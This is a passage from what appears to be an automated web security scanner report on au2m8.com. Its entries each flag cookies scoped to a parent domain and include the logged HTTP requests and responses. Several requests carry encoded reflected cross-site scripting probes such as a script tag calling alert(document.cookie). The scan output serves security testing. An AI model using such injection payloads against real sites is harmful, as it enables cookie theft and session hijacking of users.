Set-Cookie: bpl1297012445=1297008845; expires=Sun, 06-Feb-2011 17:14:05 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:14:05 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:14:05 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:14:05 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11319

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:14:05 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.223. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012580=1297008980; expires=Sun, 06-Feb-2011 17:16:20 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:20 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:20 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:20 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:20 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:16:20 GMT
Last-Modified: Sun, 06 Feb 2011 16:16:20 GMT
Set-Cookie: bpl1297012580=1297008980; expires=Sun, 06-Feb-2011 17:16:20 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:16:20 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:16:20 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:20 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11453

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:16:20 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.224. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297018546=1297014946; expires=Sun, 06-Feb-2011 18:55:46 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:55:46 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:55:46 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:55:46 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; bpl1297016091=1297012491; bpl1297016107=1297012507; bpl1297016122=1297012522; bpl1297016139=1297012539; bpl1297016155=1297012555; bpl1297016170=1297012570; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:55:46 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:55:46 GMT
Last-Modified: Sun, 06 Feb 2011 17:55:46 GMT
Set-Cookie: bpl1297018546=1297014946; expires=Sun, 06-Feb-2011 18:55:46 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:55:46 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:55:46 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:55:46 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11549

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:55:46 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.225. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297018202=1297014602; expires=Sun, 06-Feb-2011 18:50:02 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:50:02 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:50:02 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:50:02 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=35172&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F96&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ef6336f06cd4%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/798119091292066790328795.htm?vs=1&r=www.peppernews.eu%2F&s=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F96&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ef6336f06cd4%3D1&t=939848
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:50:02 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:50:02 GMT
Last-Modified: Sun, 06 Feb 2011 17:50:02 GMT
Set-Cookie: bpl1297018202=1297014602; expires=Sun, 06-Feb-2011 18:50:02 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:50:02 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:50:02 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:50:02 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11370

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:50:02 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.226. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014762=1297011162; expires=Sun, 06-Feb-2011 17:52:42 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:52:42 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:52:42 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:52:42 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:52:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:52:42 GMT
Last-Modified: Sun, 06 Feb 2011 16:52:42 GMT
Set-Cookie: bpl1297014762=1297011162; expires=Sun, 06-Feb-2011 17:52:42 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:52:42 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:52:42 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:52:42 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11248

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:52:42 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.227. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297002348=1296998748; expires=Sun, 06-Feb-2011 14:25:48 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 14:25:48 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 14:25:48 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:48 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; bpl1297002302=1296998702; bpl1297002318=1296998718; bpl1297002333=1296998733; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:25:48 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 13:25:48 GMT
Last-Modified: Sun, 06 Feb 2011 13:25:48 GMT
Set-Cookie: bpl1297002348=1296998748; expires=Sun, 06-Feb-2011 14:25:48 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 14:25:48 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 14:25:48 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:48 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11532

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 13:25:48 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.228. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1296950936=1296947336; expires=Sun, 06-Feb-2011 00:08:56 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:08:56 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:08:56 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; bpl1296950905=1296947305; bpl1296950921=1296947321; videoID=expired; auto=expired; playlist=5731; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:08:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:08:56 GMT
Last-Modified: Sat, 05 Feb 2011 23:08:56 GMT
Set-Cookie: bpl1296950936=1296947336; expires=Sun, 06-Feb-2011 00:08:56 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:08:56 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:08:56 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731; expires=Mon, 07-Feb-2011 23:08:56 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11421

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:08:56 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.229. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1296950905=1296947305; expires=Sun, 06-Feb-2011 00:08:25 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:08:25 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:08:25 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; videoID=expired; auto=expired; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:08:25 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:08:25 GMT
Last-Modified: Sat, 05 Feb 2011 23:08:25 GMT
Set-Cookie: bpl1296950905=1296947305; expires=Sun, 06-Feb-2011 00:08:25 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:08:25 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:08:25 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731; expires=Mon, 07-Feb-2011 23:08:25 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11391

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:08:25 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.230. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012585=1297008985; expires=Sun, 06-Feb-2011 17:16:25 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:25 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:25 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:25 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:25 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:16:25 GMT
Last-Modified: Sun, 06 Feb 2011 16:16:25 GMT
Set-Cookie: bpl1297012585=1297008985; expires=Sun, 06-Feb-2011 17:16:25 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:16:25 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:16:25 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:25 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11335

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:16:25 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.231. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297016474=1297012874; expires=Sun, 06-Feb-2011 18:21:14 GMT; path=/; domain=.au2m8.com
